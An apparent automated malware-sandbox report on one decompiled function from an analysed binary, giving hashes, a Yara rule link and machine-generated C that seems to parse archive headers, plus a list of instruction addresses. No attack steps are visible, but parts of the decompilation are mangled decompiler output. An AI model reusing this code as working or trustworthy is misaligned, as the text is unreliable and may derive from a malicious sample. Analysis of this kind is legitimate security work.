API String ID: 829399097-0
Opcode ID: 1047e70116df1bae1a142c8575aecfcd7dfd1e2c76c593a4b258010fb7882ad5
Instruction ID: f2b022f15dd7bd7e525fcf8277322542a79ac5a2d24a0c8bc30a78414b9bc94a
Opcode Fuzzy Hash: 1047e70116df1bae1a142c8575aecfcd7dfd1e2c76c593a4b258010fb7882ad5
Instruction Fuzzy Hash: 95216FB6900218FFDB14DFA1DC85DEA7BBCEB08344F00807AF50697191EA749E858BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041A836, Relevance: 11.0, APIs: 7, Instructions: 450
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E0041A836(signed int __ecx, signed int __edx, signed int _a4, char _a8, short _a12, signed int _a16, intOrPtr _a20, char _a24, signed int _a28, signed int _a32, signed int _a36, signed int _a40, signed int _a44, void* _a48, signed int _a52, signed int _a56, signed int _a60, signed int _a64, signed int _a68, signed int _a72, signed int _a76, signed int _a80, intOrPtr _a84, signed int _a88, signed int _a92, signed int _a96, void* _a100, signed int _a108, signed int _a112, unsigned int _a116, signed int _a120, signed int _a124) {
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char _v104;
				char _v117;
				void* _v176;
				void* __ebx;
				signed int __edi;
				char* __esi;
				void* __ebp;
				void* _t374;
				signed int _t377;
				signed int _t387;
				intOrPtr* _t391;
				signed int _t395;
				signed int _t396;
				signed int _t407;
				intOrPtr* _t410;
				signed int _t411;
				signed int _t412;
				void* _t413;
				void* _t415;
				signed int _t419;
				void* _t423;
				signed int _t426;
				signed int _t438;
				void* _t456;
				signed int _t458;
				signed int _t459;
				signed int _t460;
				intOrPtr* _t461;
				signed int _t462;
				signed int _t465;
				signed int _t467;
				signed int _t479;
				signed int _t486;
				void* _t489;
				signed int _t490;
				intOrPtr _t501;
				unsigned int _t503;
				void* _t505;
				void* _t506;
				signed int _t513;
				void* _t521;
				signed int _t556;
				void* _t571;
				signed int _t572;
				signed int _t573;
				signed int _t575;
				signed int _t579;
				signed int _t582;
				signed int _t584;
				intOrPtr _t585;
				signed int _t587;
				intOrPtr* _t589;
				intOrPtr* _t590;
				signed int _t592;
				signed int _t594;
				intOrPtr* _t598;
				signed int _t599;
				void* _t602;
				void* _t603;

				_t570 = __edx;
				_t599 =  &_v104;
				_t603 = _t602 - 0x90;
				_t592 = __ecx;
				_t374 = E00418FB1( *((intOrPtr*)(__ecx + 0x38)));
				_t486 = _a108;
				if(_t374 != 2) {
					_t582 = 0;
					__eflags = 0;
				} else {
					_t582 = 0;
					_t609 = __edx;
					if(__edx == 0) {
						E004197F9(__ecx, __edx, _t609, _t486 + 0xe0);
						_t374 = E00418FB1( *((intOrPtr*)(_t592 + 0x38)));
					}
				}
				_a72 = _t582;
				_a76 = _t582;
				_a80 = _t582;
				if(_t374 != 3) {
					L9:
					_a36 = _t582;
					_a40 = _t582;
					_a44 = _t582;
					_v44 = _t582;
					_v40 = _t582;
					_v36 = _t582;
					_v32 = _t582;
					_v28 = _t582;
					_v24 = _t582;
					__eflags = _t374 - 4;
					if(_t374 == 4) {
						__eflags = _t570 - _t582;
						if(__eflags == 0) {
							_t589 = _t486 + 0xf8;
							E0041A533(_t486, _t592, _t570, _t592, __eflags,  &_a72, _t589, _t486,  &_a36,  &_v44);
							 *_t589 =  *_t589 +  *((intOrPtr*)(_t486 + 0xf0));
							asm("adc [edi+0x4], eax");
							_t374 = E00418FB1( *((intOrPtr*)(_t592 + 0x38)));
							_t582 = 0;
							__eflags = 0;
						}
					}
					 *(_t486 + 0x5c) = _t582;
					__eflags = _t374 - 5;
					if(__eflags != 0) {
						L85:
						E00419590(_t486, _t486, _t570, __eflags);
						_push(_v32);
						L0041C160();
						_push(_v44);
						L0041C160();
						_push(_a36);
						L0041C160();
						E0041969C( &_a72);
						_t377 = 0;
						__eflags = 0;
						goto L86;
					} else {
						__eflags = _t570 - _t582;
						if(__eflags == 0) {
							_a108 = E00418FE5( *((intOrPtr*)(_t592 + 0x38)), _t570, _t592, __eflags);
							E00419233(_t486 + 0x58, _t378);
							 *(_t486 + 0x5c) = _a108;
							E00419652(_t486 + 0x108, _t570, 9, _t582);
							E00419652(_t486 + 0x108, _t570, 6, _t582);
							__eflags = _a108 - _t582;
							if(__eflags > 0) {
								__eflags = _v40 - _t582;
								if(__eflags != 0) {
									E00419652(_t486 + 0x108, _t570, 0xa, _t582);
								}
							}
							_t584 = _a108;
							_a60 = 0;
							_a64 = 0;
							_a68 = 0;
							E00419725( &_a60, _t584, __eflags);
							_a24 = 0;
							_a28 = 0;
							_a32 = 0;
							_a48 = 0;
							_a52 = 0;
							_a56 = 0;
							_a124 = 0;
							while(1) {
								L67:
								_t387 = E00418FB1( *((intOrPtr*)(_t592 + 0x38)));
								_t501 =  *((intOrPtr*)(_t592 + 0x38));
								_a92 = _t387;
								__eflags = _t387 | _t570;
								_a96 = _t570;
								if((_t387 | _t570) == 0) {
									break;
								}
								_a84 = E00418FB1(_t501);
								_t390 =  *((intOrPtr*)(_t592 + 0x38));
								_t503 =  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 4)) -  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 8));
								_a88 = _t570;
								_t570 = 0;
								__eflags = _a88;
								if(__eflags > 0) {
									L87:
									_t391 = E00418DE4(_t503, _t584);
									asm("cdq");
									asm("stosd");
									asm("stosd");
									_t505 = _t503 + 2;
									_t571 = _t570 + _t505;
									asm("stosd");
									_t506 = _t505 + 1;
									 *((intOrPtr*)(_t571 + 0x41 + _t599 * 4)) =  *((intOrPtr*)(_t571 + 0x41 + _t599 * 4)) + _t391;
									 *0x120041ac =  *0x120041ac + _t506;
									asm("lodsb");
									 *_t584 =  *_t584 + _t571;
									asm("lodsb");
									 *_t391 =  *_t391 + _t391;
									asm("stosd");
									 *((intOrPtr*)(_t592 - 0x54)) =  *((intOrPtr*)(_t592 - 0x54)) + _t571;
									 *((intOrPtr*)(_t592 - 0x54)) =  *((intOrPtr*)(_t592 - 0x54)) + _t571;
									_t489 = _t486 + _t486 + _t571;
									asm("stosd");
									 *_t584 =  *_t584 + _t489;
									asm("lodsb");
									_t513 = _t506 + 7;
									_t268 =  &_v117;
									 *_t268 = _v117 + _t571;
									__eflags =  *_t268;
									_push(_t599);
									_push(_t489);
									_push(_t592);
									_push(_t584);
									_t585 =  *((intOrPtr*)(_t603 + 8));
									_t594 = _t513;
									E00418567(_t585);
									 *((intOrPtr*)(_t585 + 0xe8)) =  *((intOrPtr*)(_t594 + 0x40));
									 *((intOrPtr*)(_t585 + 0xec)) =  *((intOrPtr*)(_t594 + 0x44));
									 *(_t585 + 0xe0) =  *((intOrPtr*)(_t594 + 0x56));
									_t490 = 0;
									 *((char*)(_t585 + 0xe1)) =  *((intOrPtr*)(_t594 + 0x57));
									__eflags =  *(_t585 + 0xe0);
									if( *(_t585 + 0xe0) != 0) {
										L104:
										_t395 = 0;
										__eflags = 0;
										goto L105;
									} else {
										_t572 =  *(_t594 + 0x5c);
										_v20 =  *((intOrPtr*)(_t594 + 0x60));
										_v12 =  *((intOrPtr*)(_t594 + 0x64));
										_v8 =  *((intOrPtr*)(_t594 + 0x68));
										_a4 =  *((intOrPtr*)(_t594 + 0x6c));
										asm("adc ecx, ebx");
										_v24 = _t572;
										 *((intOrPtr*)(_t585 + 0xf0)) =  *((intOrPtr*)(_t594 + 0x40)) + 0x20;
										 *((intOrPtr*)(_t585 + 0xf4)) =  *((intOrPtr*)(_t594 + 0x44));
										 *((intOrPtr*)(_t585 + 0x128)) = 0x20;
										 *((intOrPtr*)(_t585 + 0x12c)) = 0;
										 *((char*)(_t585 + 0x130)) = 0;
										__eflags = _v20;
										if(__eflags < 0) {
											goto L104;
										} else {
											if(__eflags > 0) {
												L92:
												__eflags = _v8 - 0x40000000;
												if(__eflags > 0) {
													goto L104;
												} else {
													if(__eflags < 0) {
														L95:
														_t395 = _v12 | _v8;
														__eflags = _t395;
														if(_t395 != 0) {
															__eflags =  *((intOrPtr*)(_t585 + 0x134)) - _t490;
															if( *((intOrPtr*)(_t585 + 0x134)) == _t490) {
																 *((char*)(_t585 + 0x130)) = 1;
															}
															asm("adc ecx, ebx");
															 *((intOrPtr*)(_t594 + 0x70)) =  *((intOrPtr*)(_t594 + 0x70)) + _v12 + 0x20;
															asm("adc [esi+0x74], ecx");
															_t407 = _v12 + _t572;
															_t573 = _v8;
															asm("adc edx, [ebp-0x10]");
															_v32 = _t407;
															asm("adc ecx, ebx");
															 *((intOrPtr*)(_t585 + 0x128)) = _t407 + 0x20;
															 *((intOrPtr*)(_t585 + 0x12c)) = _t573;
															_t521 =  *((intOrPtr*)(_t594 + 0x48)) -  *((intOrPtr*)(_t585 + 0xf0));
															asm("sbb eax, [edi+0xf4]");
															__eflags =  *((intOrPtr*)(_t594 + 0x4c)) - _t573;
															if(__eflags > 0) {
																L107:
																_t410 =  *_t594;
																_t396 =  *((intOrPtr*)( *_t410 + 0x10))(_t410, _v24, _v20, 1, _t490);
																__eflags = _t396 - _t490;
																if(_t396 == _t490) {
																	_t411 = _v12;
																	__eflags = _t411 - _t411;
																	if(_t411 != _t411) {
																		L110:
																		_t396 = 0x8007000e;
																	} else {
																		__eflags = _t490 - _v8;
																		if(_t490 == _v8) {
																			_push(_v12);
																			L0041C16C();
																			_v32 = _t411;
																			_t412 = E0041670E(_v12); // executed
																			__eflags = _t412 - _t490;
																			if(_t412 == _t490) {
																				_t575 = _v12;
																				_t525 = _v32;
																				_t413 = E0041BCE0(_v32, _t575);
																				__eflags = _t413 - _a4;
																				if(_t413 != _a4) {
																					L115:
																					E00418DE4(_t525, _t585);
																				}
																				__eflags =  *((intOrPtr*)(_t585 + 0x134)) - _t490;
																				if( *((intOrPtr*)(_t585 + 0x134)) == _t490) {
																					 *((char*)(_t585 + 0x131)) = 1;
																				}
																				_push(_t490);
																				_v20 = _t490;
																				E004192D4( &_v24, _t594, _v32, _v12);
																				_t525 =  *((intOrPtr*)(_t594 + 0x38));
																				_v16 = _t490;
																				_v12 = _t490;
																				_v8 = _t490;
																				_t415 = E00418FB1( *((intOrPtr*)(_t594 + 0x38)));
																				__eflags = _t415 - 1;
																				if(_t415 != 1) {
																					L120:
																					__eflags = _t415 - 0x17;
																					if(_t415 != 0x17) {
																						goto L115;
																					} else {
																						__eflags = _t575 - _t490;
																						if(__eflags != 0) {
																							goto L115;
																						} else {
																							_push(_a20);
																							_push(_a16);
																							_t525 = _t594;
																							_push(_a12);
																							_t419 = E0041A63E(_t594, _t575, __eflags,  *((intOrPtr*)(_t585 + 0xf0)),  *((intOrPtr*)(_t585 + 0xf4)), _t585 + 0x100,  &_v16, _a8);
																							_a4 = _t419;
																							__eflags = _t419 - _t490;
																							if(_t419 == _t490) {
																								__eflags = _v12 - _t490;
																								if(_v12 != _t490) {
																									__eflags = _v12 - 1;
																									if(_v12 > 1) {
																										goto L115;
																									} else {
																										E00418E1D( &_v24);
																										E004192FE(_t594,  *_v16);
																										_t525 =  *((intOrPtr*)(_t594 + 0x38));
																										_t423 = E00418FB1( *((intOrPtr*)(_t594 + 0x38)));
																										__eflags = _t423 - 1;
																										if(_t423 != 1) {
																											goto L115;
																										} else {
																											__eflags = _t575 - _t490;
																											if(_t575 != _t490) {
																												goto L115;
																											} else {
																												goto L129;
																											}
																										}
																									}
																								} else {
																									E0041969C( &_v16);
																									E00418E1D( &_v24);
																									goto L113;
																								}
																							} else {
																								E0041969C( &_v16);
																								E00418E1D( &_v24);
																								_t490 = _a4;
																								goto L113;
																							}
																						}
																					}
																				} else {
																					__eflags = _t575 - _t490;
																					if(_t575 == _t490) {
																						L129:
																						 *((char*)(_t585 + 0x130)) = 1;
																						 *((intOrPtr*)(_t585 + 0x120)) =  *((intOrPtr*)(_t594 + 0x70));
																						 *((intOrPtr*)(_t585 + 0x124)) =  *((intOrPtr*)(_t594 + 0x74));
																						_t426 = E0041A836(_t594, _t575, _t585, _a8, _a12, _a16, _a20);
																						E0041969C( &_v16);
																						E00418E1D( &_v24);
																						_push(_v32);
																						L0041C160();
																						_t396 = _t426;
																					} else {
																						goto L120;
																					}
																				}
																			} else {
																				_t490 = _t412;
																				L113:
																				_push(_v32);
																				L0041C160();
																				_t396 = _t490;
																			}
																		} else {
																			goto L110;
																		}
																	}
																}
															} else {
																if(__eflags < 0) {
																	L103:
																	 *((char*)(_t585 + 0x133)) = 1;
																	goto L104;
																} else {
																	__eflags = _t521 - _v32;
																	if(_t521 >= _v32) {
																		goto L107;
																	} else {
																		goto L103;
																	}
																}
															}
														} else {
															__eflags = _t572 | _v20;
															if((_t572 | _v20) != 0) {
																L105:
																_t396 = _t395 + 1;
																__eflags = _t396;
															} else {
																 *((char*)(_t585 + 0x130)) = 1;
															}
														}
													} else {
														__eflags = _v12 - _t490;
														if(_v12 > _t490) {
															goto L104;
														} else {
															goto L95;
														}
													}
												}
											} else {
												__eflags = _t572;
												if(_t572 < 0) {
													goto L104;
												} else {
													goto L92;
												}
											}
										}
									}
									return _t396;
								} else {
									if(__eflags < 0) {
										L21:
										_push(1);
										_a4 = _t570;
										E004192D4(_t599, _t592,  *((intOrPtr*)(_t390 + 8)) +  *_t390, _a84);
										_t584 = 0;
										__eflags = _a96;
										if(__eflags > 0) {
											L64:
											 *((char*)(_t486 + 0x135)) = 1;
											 *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 8)) =  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 4));
											goto L65;
										} else {
											if(__eflags < 0) {
												L24:
												_t438 = _a92 + 0xfffffff2;
												__eflags = _t438 - 0xb;
												if(__eflags > 0) {
													goto L64;
												} else {
													switch( *((intOrPtr*)(_t438 * 4 +  &M0041ADD2))) {
														case 0:
															__eax =  &_a60;
															__ecx = __esi;
															__eax = E00419845(__esi, __edx, _a108,  &_a60);
															__eax = 0;
															_a124 = __edi;
															__eflags = _a64 - __edi;
															if(__eflags > 0) {
																do {
																	__ecx = _a60;
																	__eflags =  *((char*)(__ecx + __eax));
																	if( *((char*)(__ecx + __eax)) != 0) {
																		_t156 =  &_a124;
																		 *_t156 = _a124 + 1;
																		__eflags =  *_t156;
																	}
																	__eax = __eax + 1;
																	__eflags = __eax - _a64;
																} while (__eflags < 0);
															}
															__edi = _a124;
															 &_a24 = E00419725( &_a24, __edi, __eflags);
															 &_a48 = E00419725( &_a48, __edi, __eflags);
															goto L35;
														case 1:
															__eax =  &_a24;
															goto L48;
														case 2:
															__eax =  &_a48;
															L48:
															__ecx = __esi;
															__eax = E00419845(__ecx, __edx, _a124, __eax);
															goto L35;
														case 3:
															_v16 = _t584;
															E00419747( &_v20, _t570, _t599, __eflags, _t592,  &_a72);
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 4)) -  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 8));
															E0040BBD0(_t486 + 0xd0, _t584);
															E00418E93( *((intOrPtr*)(_t592 + 0x38)),  *((intOrPtr*)(_t486 + 0xd0)), _t584);
															E0041911E(_t486 + 0xd8, __eflags,  *(_t486 + 0x5c) + 1);
															_t570 = 0;
															_t447 = 0;
															_a116 = 0;
															_a112 = 0;
															__eflags =  *(_t486 + 0x5c);
															if( *(_t486 + 0x5c) <= 0) {
																L32:
																_t570 = _t570 >> 1;
																 *( *((intOrPtr*)(_t486 + 0xd8)) + _t447 * 4) = _t570;
																__eflags = _a116 - _t584;
																if(_a116 != _t584) {
																	 *((char*)(_t592 + 0x3c)) = 1;
																}
																E00418E1D( &_v20);
																goto L35;
															} else {
																do {
																	_a120 = _a120 & 0x00000000;
																	_t451 =  *((intOrPtr*)(_t486 + 0xd0)) + _t570;
																	_t503 = _t584 - _t570 >> 1;
																	__eflags = _t503;
																	if(_t503 != 0) {
																		while(1) {
																			_t570 = _a120;
																			__eflags =  *((short*)(_t451 + _t570 * 2));
																			if( *((short*)(_t451 + _t570 * 2)) == 0) {
																				goto L30;
																			}
																			_a120 = _a120 + 1;
																			__eflags = _a120 - _t503;
																			if(_a120 < _t503) {
																				continue;
																			}
																			goto L30;
																		}
																	}
																	L30:
																	__eflags = _a120 - _t503;
																	if(_a120 == _t503) {
																		goto L87;
																	} else {
																		goto L31;
																	}
																	goto L130;
																	L31:
																	_t452 = _a112;
																	 *( *((intOrPtr*)(_t486 + 0xd8)) + _t452 * 4) = _a116 >> 1;
																	_t447 = _t452 + 1;
																	_t570 = _a116 + 2 + _a120 * 2;
																	_a116 = _t570;
																	_a112 = _t447;
																	__eflags = _t447 -  *(_t486 + 0x5c);
																} while (_t447 <  *(_t486 + 0x5c));
																goto L32;
															}
															goto L130;
														case 4:
															__eax = __ebx + 0x64;
															goto L51;
														case 5:
															__eax = __ebx + 0x7c;
															goto L51;
														case 6:
															__eax = __ebx + 0x94;
															goto L51;
														case 7:
															__eax =  &_v12;
															__ecx = __esi;
															_v12 = __edi;
															_v8 = __edi;
															_v4 = __edi;
															E00419893(__esi, __edx, __edi, __ebp, __eflags,  *((intOrPtr*)(__ebx + 0x5c)),  &_v12) =  &_a72;
															__ecx =  &_a8;
															_a12 = __di;
															__eax = E00419747( &_a8, __edx, __ebp, __eflags, __esi,  &_a72);
															_a120 = __edi;
															__eflags = _a108 - __edi;
															if(_a108 > __edi) {
																_a116 = __edi;
																do {
																	__edi =  *(__ebx + 0x58);
																	__eax = _v12;
																	__ecx = _a120;
																	__edi =  *(__ebx + 0x58) + _a116;
																	__al =  *((intOrPtr*)(_v12 + _a120));
																	 *((char*)(__edi + 0x13)) = __al;
																	__eflags = __al;
																	if(__al != 0) {
																		__ecx =  *((intOrPtr*)(__esi + 0x38));
																		 *((intOrPtr*)(__edi + 8)) = E00418FFB( *((intOrPtr*)(__esi + 0x38)));
																	}
																	_a120 = _a120 + 1;
																	__eax = _a120;
																	_a116 = _a116 + 0x18;
																	__eflags = _a120 - _a108;
																} while (_a120 < _a108);
															}
															__ecx =  &_a8;
															__eax = E00418E1D( &_a8);
															_push(_v12);
															L0041C160();
															_pop(__ecx);
															goto L35;
														case 8:
															goto L64;
														case 9:
															__eax = __ebx + 0xac;
															L51:
															__ecx = __esi;
															 &_a72 = E004198DE(__ecx, __edx, __eflags,  &_a72,  &_a72, _a108);
															L35:
															E00419652(_t486 + 0x108, _t570, _a92, _a96);
															goto L65;
														case 0xa:
															_a16 = __edi;
															__eflags = _a88 - __edi;
															if(__eflags >= 0) {
																if(__eflags > 0) {
																	L58:
																	__ecx =  *((intOrPtr*)(__esi + 0x38));
																	__eax = E00418E7C(__ecx, __edi);
																	__eflags = __al;
																	if(__al != 0) {
																		 *((char*)(__esi + 0x3c)) = 1;
																	}
																	_a16 = _a16 + 1;
																	asm("adc edi, 0x0");
																	__eflags = __edi - _a88;
																} else {
																	__eflags = _a84 - __edi;
																	if(_a84 > __edi) {
																		goto L58;
																		do {
																			do {
																				goto L58;
																			} while (__eflags < 0);
																			if(__eflags <= 0) {
																				goto L62;
																			}
																			goto L65;
																			L62:
																			__eax = _a84;
																			__eflags = _a16 - _a84;
																		} while (_a16 < _a84);
																	}
																}
															}
															L65:
															_t503 =  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 4)) -  *((intOrPtr*)( *((intOrPtr*)(_t592 + 0x38)) + 8));
															__eflags = _t503;
															if(_t503 != 0) {
																goto L87;
															} else {
																E00418E1D(_t599);
																goto L67;
															}
															goto L130;
													}
												}
											} else {
												__eflags = _a92 - 0x40000000;
												if(_a92 > 0x40000000) {
													goto L64;
												} else {
													goto L24;
												}
											}
										}
									} else {
										__eflags = _a84 - _t503;
										if(_a84 > _t503) {
											goto L87;
										} else {
											goto L21;
										}
									}
								}
								goto L130;
							}
							E00418FB1(_t501);
							__eflags = _a108 - _a124 - _a40;
							if(_a108 - _a124 != _a40) {
								E00418E04(_t501);
							}
							_t556 = _a48;
							_t587 = 0;
							_t456 = 0;
							_a116 = 0;
							__eflags = _a124;
							if(_a124 > 0) {
								do {
									__eflags =  *((char*)(_t556 + _t456));
									if( *((char*)(_t556 + _t456)) != 0) {
										_t199 =  &_a116;
										 *_t199 = _a116 + 1;
										__eflags =  *_t199;
									}
									_t456 = _t456 + 1;
									__eflags = _t456 - _a124;
								} while (_t456 < _a124);
							}
							_a120 = _t587;
							__eflags = _a108 - _t587;
							if(__eflags > 0) {
								_t458 = _a24 - _t556;
								__eflags = _t458;
								_a112 = _t556;
								_a124 = _t587;
								_a88 = _t458;
								do {
									_t598 =  *((intOrPtr*)(_t486 + 0x58)) + _a124;
									_t459 = _a60;
									__eflags =  *((char*)(_t459 + _a120));
									_t460 = _t459 & 0xffffff00 |  *((char*)(_t459 + _a120)) == 0x00000000;
									 *(_t598 + 0x10) = _t460;
									 *((intOrPtr*)(_t598 + 0xc)) = 0;
									__eflags = _t460;
									if(_t460 == 0) {
										_t461 = _a112;
										_t579 = _a88;
										__eflags =  *(_t579 + _t461);
										 *((char*)(_t598 + 0x11)) = _t579 & 0xffffff00 |  *(_t579 + _t461) == 0x00000000;
										_t570 =  *_t461;
										_t462 = _t461 + 1;
										__eflags = _t462;
										_a96 =  *_t461;
										_a112 = _t462;
										 *_t598 = 0;
										 *((intOrPtr*)(_t598 + 4)) = 0;
										 *((char*)(_t598 + 0x12)) = 0;
									} else {
										_t465 = _a36;
										 *((char*)(_t598 + 0x11)) = 0;
										_a96 = 0;
										 *_t598 =  *((intOrPtr*)(_t465 + _t587 * 8));
										 *((intOrPtr*)(_t598 + 4)) =  *((intOrPtr*)(_t465 + 4 + _t587 * 8));
										_t467 = E004192B9( &_v44, _t587);
										 *((char*)(_t598 + 0x12)) = _t467;
										__eflags = _t467;
										if(_t467 != 0) {
											 *((intOrPtr*)(_t598 + 0xc)) =  *((intOrPtr*)(_v32 + _t587 * 4));
										}
										_t587 = _t587 + 1;
									}
									__eflags = _a116;
									if(_a116 != 0) {
										E0041967B(_t486 + 0xc4, _a96);
									}
									_a120 = _a120 + 1;
									_a124 = _a124 + 0x18;
									__eflags = _a120 - _a108;
								} while (__eflags < 0);
							}
							_push(_a48);
							L0041C160();
							_push(_a24);
							L0041C160();
							_push(_a60);
							L0041C160();
							_t603 = _t603 + 0xc;
						}
						goto L85;
					}
				} else {
					_t611 = _t570 - _t582;
					if(_t570 != _t582) {
						goto L9;
					} else {
						_push(_a124);
						_push(_a120);
						_t590 = _t486 + 0x100;
						_push(_a116);
						_t479 = E0041A63E(_t592, _t570, _t611,  *((intOrPtr*)(_t486 + 0xf0)),  *((intOrPtr*)(_t486 + 0xf4)), _t590,  &_a72, _a112);
						_a108 = _t479;
						if(_t479 == 0) {
							 *_t590 =  *_t590 +  *((intOrPtr*)(_t486 + 0xf0));
							asm("adc [edi+0x4], eax");
							_t374 = E00418FB1( *((intOrPtr*)(_t592 + 0x38)));
							_t582 = 0;
							__eflags = 0;
							goto L9;
						} else {
							E0041969C( &_a72);
							_t377 = _a108;
							L86:
							return _t377;
						}
					}
				}
				L130:
			}

0x0041a836
0x0041a837
0x0041a83b
0x0041a843
0x0041a849
0x0041a84e
0x0041a854
0x0041a874
0x0041a874
0x0041a856
0x0041a856
0x0041a858
0x0041a85a
0x0041a865
0x0041a86d
0x0041a86d
0x0041a85a
0x0041a876
0x0041a879
0x0041a87c
0x0041a882
0x0041a8e4
0x0041a8e4
0x0041a8e7
0x0041a8ea
0x0041a8ed
0x0041a8f0
0x0041a8f3
0x0041a8f6
0x0041a8f9
0x0041a8fc
0x0041a8ff
0x0041a902
0x0041a904
0x0041a906
0x0041a911
0x0041a91e
0x0041a929
0x0041a931
0x0041a937
0x0041a93c
0x0041a93c
0x0041a93c
0x0041a906
0x0041a93e
0x0041a941
0x0041a944
0x0041ad95
0x0041ad97
0x0041ad9c
0x0041ad9f
0x0041ada4
0x0041ada7
0x0041adac
0x0041adaf
0x0041adba
0x0041adbf
0x0041adbf
0x00000000
0x0041a94a
0x0041a94a
0x0041a94c
0x0041a95e
0x0041a961
0x0041a972
0x0041a975
0x0041a983
0x0041a988
0x0041a98b
0x0041a98d
0x0041a990
0x0041a99b
0x0041a99b
0x0041a990
0x0041a9a0
0x0041a9a5
0x0041a9a8
0x0041a9ab
0x0041a9b1
0x0041a9b8
0x0041a9bb
0x0041a9be
0x0041a9c1
0x0041a9c4
0x0041a9c7
0x0041a9ca
0x0041ac7d
0x0041ac7d
0x0041ac80
0x0041ac85
0x0041ac88
0x0041ac8b
0x0041ac8d
0x0041ac90
0x00000000
0x00000000
0x0041a9d7
0x0041a9da
0x0041a9e0
0x0041a9e3
0x0041a9e6
0x0041a9e8
0x0041a9eb
0x0041adcb
0x0041adcb
0x0041add2
0x0041add3
0x0041add7
0x0041add8
0x0041add9
0x0041addb
0x0041addc
0x0041addd
0x0041ade1
0x0041ade7
0x0041ade9
0x0041adeb
0x0041aded
0x0041adef
0x0041adf1
0x0041adf5
0x0041adf9
0x0041adfb
0x0041adfd
0x0041adff
0x0041ae00
0x0041ae01
0x0041ae01
0x0041ae01
0x0041ae02
0x0041ae08
0x0041ae09
0x0041ae0a
0x0041ae0b
0x0041ae0e
0x0041ae12
0x0041ae1a
0x0041ae23
0x0041ae2c
0x0041ae35
0x0041ae37
0x0041ae3d
0x0041ae43
0x0041af36
0x0041af36
0x0041af36
0x00000000
0x0041ae49
0x0041ae4f
0x0041ae52
0x0041ae58
0x0041ae5e
0x0041ae64
0x0041ae6d
0x0041ae6f
0x0041ae72
0x0041ae78
0x0041ae7e
0x0041ae88
0x0041ae8e
0x0041ae94
0x0041ae97
0x00000000
0x0041ae9d
0x0041ae9d
0x0041aea7
0x0041aea7
0x0041aeae
0x00000000
0x0041aeb4
0x0041aeb4
0x0041aebb
0x0041aebe
0x0041aebe
0x0041aec1
0x0041aed1
0x0041aed7
0x0041aed9
0x0041aed9
0x0041aee9
0x0041aeeb
0x0041aef1
0x0041aef4
0x0041aef6
0x0041aef9
0x0041aefc
0x0041af04
0x0041af06
0x0041af0c
0x0041af15
0x0041af1e
0x0041af24
0x0041af26
0x0041af40
0x0041af40
0x0041af4e
0x0041af51
0x0041af53
0x0041af55
0x0041af58
0x0041af5a
0x0041af61
0x0041af61
0x0041af5c
0x0041af5c
0x0041af5f
0x0041af68
0x0041af6b
0x0041af78
0x0041af7b
0x0041af80
0x0041af82
0x0041af93
0x0041af96
0x0041af99
0x0041af9e
0x0041afa1
0x0041afa3
0x0041afa3
0x0041afa3
0x0041afa8
0x0041afae
0x0041afb0
0x0041afb0
0x0041afb7
0x0041afc1
0x0041afc6
0x0041afcb
0x0041afce
0x0041afd1
0x0041afd4
0x0041afd7
0x0041afdc
0x0041afdf
0x0041afe9
0x0041afe9
0x0041afec
0x00000000
0x0041afee
0x0041afee
0x0041aff0
0x00000000
0x0041aff2
0x0041aff2
0x0041aff8
0x0041affb
0x0041affd
0x0041b017
0x0041b01c
0x0041b01f
0x0041b021
0x0041b03b
0x0041b03e
0x0041b055
0x0041b059
0x00000000
0x0041b05f
0x0041b062
0x0041b070
0x0041b075
0x0041b078
0x0041b07d
0x0041b080
0x00000000
0x0041b086
0x0041b086
0x0041b088
0x00000000
0x00000000
0x00000000
0x00000000
0x0041b088
0x0041b080
0x0041b040
0x0041b043
0x0041b04b
0x00000000
0x0041b04b
0x0041b023
0x0041b026
0x0041b02e
0x0041b033
0x00000000
0x0041b033
0x0041b021
0x0041aff0
0x0041afe1
0x0041afe1
0x0041afe3
0x0041b08e
0x0041b091
0x0041b0a1
0x0041b0b0
0x0041b0b6
0x0041b0c0
0x0041b0c8
0x0041b0cd
0x0041b0d0
0x0041b0d6
0x00000000
0x00000000
0x00000000
0x0041afe3
0x0041af84
0x0041af84
0x0041af86
0x0041af86
0x0041af89
0x0041af8f
0x0041af8f
0x00000000
0x00000000
0x00000000
0x0041af5f
0x0041af5a
0x0041af28
0x0041af28
0x0041af2f
0x0041af2f
0x00000000
0x0041af2a
0x0041af2a
0x0041af2d
0x00000000
0x00000000
0x00000000
0x00000000
0x0041af2d
0x0041af28
0x0041aec3
0x0041aec3
0x0041aec6
0x0041af38
0x0041af38
0x0041af38
0x0041aec8
0x0041aec8
0x0041aec8
0x0041aec6
0x0041aeb6
0x0041aeb6
0x0041aeb9
0x00000000
0x00000000
0x00000000
0x00000000
0x0041aeb9
0x0041aeb4
0x0041ae9f
0x0041ae9f
0x0041aea1
0x00000000
0x00000000
0x00000000
0x00000000
0x0041aea1
0x0041ae9d
0x0041ae97
0x0041af3d
0x0041a9f1
0x0041a9f1
0x0041a9fc
0x0041aa01
0x0041aa06
0x0041aa0f
0x0041aa14
0x0041aa16
0x0041aa19
0x0041ac56
0x0041ac56
0x0041ac63
0x00000000
0x0041aa1f
0x0041aa1f
0x0041aa2e
0x0041aa31
0x0041aa34
0x0041aa37
0x00000000
0x0041aa3d
0x0041aa3d
0x00000000
0x0041ab99
0x0041aba0
0x0041aba2
0x0041aba7
0x0041aba9
0x0041abac
0x0041abaf
0x0041abb1
0x0041abb1
0x0041abb4
0x0041abb8
0x0041abba
0x0041abba
0x0041abba
0x0041abba
0x0041abbd
0x0041abbe
0x0041abbe
0x0041abb1
0x0041abc3
0x0041abc9
0x0041abd1
0x00000000
0x00000000
0x0041abdb
0x00000000
0x00000000
0x0041abee
0x0041abde
0x0041abe2
0x0041abe4
0x00000000
0x00000000
0x0041aa4c
0x0041aa50
0x0041aa5b
0x0041aa65
0x0041aa74
0x0041aa84
0x0041aa89
0x0041aa8b
0x0041aa8d
0x0041aa90
0x0041aa93
0x0041aa96
0x0041aaee
0x0041aaf4
0x0041aaf6
